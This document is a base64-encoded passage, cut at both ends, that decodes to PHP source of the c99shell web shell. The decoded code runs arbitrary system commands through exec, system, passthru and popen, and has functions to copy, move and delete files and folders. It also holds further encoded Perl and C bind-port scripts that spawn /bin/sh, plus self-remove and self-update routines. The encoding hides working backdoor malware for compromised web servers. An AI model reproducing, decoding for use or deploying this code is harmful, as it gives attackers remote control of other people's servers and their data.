CRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLA0KIGFycmF5KCI8Yj5TZWxmIHJlbW92ZTwvYj4iLCRzdXJsLiJhY3Q9c2VsZnJlbW92ZSIpLA0KIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpDQopOw0KDQovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycw0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOw0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOw0KDQovL0VORCBDT05GSUdVUkFUSU9ODQoNCg0KLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcLyAgICAgICAgTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nICAgICAgICBcLw0KQHNldF90aW1lX2xpbWl0KCR0aW1lbGltaXQpOw0KJHRtcCA9IGFycmF5KCk7DQpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30NCiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5c2hlbGxcIj5jOTlzaGVsbDwvYT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvdyIpO30NCmlmICghZW1wdHkoJGxvZ2luKSkNCnsNCiBpZihlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9DQogaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbiApIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpDQogew0KICBpZiAoJGxvZ2luX3R4dCA9PT0gIiIpIHskbG9naW5fdHh0ID0gIiI7fQ0KICBlbHNlaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlzaGVsbCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7DQogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJkaXIpOw0KaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBjOTlzaF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsgZXhpdDt9DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30NCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gZmFsc2U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiB0cnVlOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSB0cnVlOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBmYWxzZTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gdHJ1ZTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBmYWxzZTt9DQogfQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogJHJlc3VsdCA9ICIiOw0KIGlmICghZW1wdHkoJGNtZCkpDQogew0KICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSkge2V4ZWMoJGNtZCwkcmVzdWx0KTsgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTt9DQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBmYWxzZSkge30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpDQogIHsNCiAgICRyZXN1bHQgPSAiIjsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9DQogICBwY2xvc2UoJGZwKTsNCiAgfQ0KIH0NCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiBlbHNlIHskdHlwZSA9ICI/Ijt9DQoNCiAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOw0KICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKT8idyI6Ii0iOw0KICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsNCiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCk/InciOiItIjsNCiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7DQogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpPyAidyI6Ii0iOw0KICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQoNCiBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KIGlmICgkbW9kZSAmIDB4MjAwKSB7JHdvcmxkWyJleGVjdXRlIl0gPSAoJHdvcmxkWyJleGVjdXRlIl0gPT0gIngiKT8idCI6IlQiO30NCg0KIHJldHVybiAkdHlwZS4kb3duZXJbInJlYWQiXS4kb3duZXJbIndyaXRlIl0uJG93bmVyWyJleGVjdXRlIl0uDQogICAgICAgICRncm91cFsicmVhZCJdLiRncm91cFsid3JpdGUiXS4kZ3JvdXBbImV4ZWN1dGUiXS4NCiAgICAgICAgJHdvcmxkWyJyZWFkIl0uJHdvcmxkWyJ3cml0ZSJdLiR3b3JsZFsiZXhlY3V0ZSJdOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHQgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KIGVsc2UgeyR0ID0gIj8iO30NCiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogJHdbInIiXSA9ICgkbW9kZSAmIDAwMDA0KSA+IDA7ICR3WyJ3Il0gPSAoJG1vZGUgJiAwMDAwMikgPiAwOyAkd1sieCJdID0gKCRtb2RlICYgMDAwMDEpID4gMDsNCiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpDQp7DQpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpDQp7DQogJG9uZSA9IGludHZhbCgkc29ydCk7DQogJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9DQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCnsNCiBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkNCnsNCmZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pDQp7DQogaWYgKCRmbiA9PSAiYzk5c2hfYmluZHBvcnQucGwiKSB7cmV0dXJuIGJhc2U2NF9kZWNvZGUoDQoiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdaWGhwZENneEtUdDlEUW9rY0c5eWRDQTlJQ1JCVWtkVyIuDQoiV3pCZE93MEtaWGhwZENCcFppQm1iM0pyT3cwS0pEQWdQU0FpZFhCa1lYUmxaR0lpSUM0Z0lpQWlJSGd4TURBN0RRb2tVMGxIZTBOSSIuDQoiVEVSOUlEMGdKMGxIVGs5U1JTYzdEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSUyIuDQoiUlVGTkxDQXdLVHNOQ25ObGRITnZZMnR2Y0hRb1V5d2dVMDlNWDFOUFEwdEZWQ3dnVTA5ZlVrVlZVMFZCUkVSU0xDQXhLVHNOQ21KcCIuDQoiYm1Rb1V5d2djMjlqYTJGa1pISmZhVzRvSkhCdmNuUXNJRWxPUVVSRVVsOUJUbGtwS1RzTkNteHBjM1JsYmloVExDQTFNQ2s3RFFwaCIuDQoiWTJObGNIUW9XQ3hUS1RzTkNtOXdaVzRnVTFSRVNVNHNJQ0k4SmxnaU93MEtiM0JsYmlCVFZFUlBWVlFzSUNJK0psZ2lPdzBLYjNCbCIuDQoiYmlCVFZFUkZVbElzSUNJK0psZ2lPdzBLWlhobFl5Z2laV05vYnlCY0lsZGxiR052YldVZ2RHOGdZems1YzJobGJHd2hYSEpjYmx4eSIuDQoiWEc1Y0lpSXBPdzBLZDJocGJHVW9NU2tOQ25zTkNpQmhZMk5sY0hRb1dDd2dVeWs3RFFvZ2RXNXNaWE56S0dadmNtc3BEUW9nZXcwSyIuDQoiSUNCdmNHVnVJRk5VUkVsT0xDQWlQQ1pZSWpzTkNpQWdiM0JsYmlCVFZFUlBWVlFzSUNJK0psZ2lPdzBLSUNCamJHOXpaU0JZT3cwSyIuDQoiSUNCbGVHVmpLQ0l2WW1sdUwzTm9JaWs3RFFvZ2ZRMEtJR05zYjNObElGZzdEUXA5Iik7fQ0KIGVsc2VpZiAoJGZuID09ICJjOTlzaF9iaW5kcG9ydC5jIikge3JldHVybiBiYXNlNjRfZGVjb2RlKA0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUiLg0KImNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4iLg0KIkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkiLg0KIklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISmZhVzRnY21WdGIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWYiLg0KIlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHAiLg0KIktUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG0iLg0KIlpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2kiLg0KImMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjM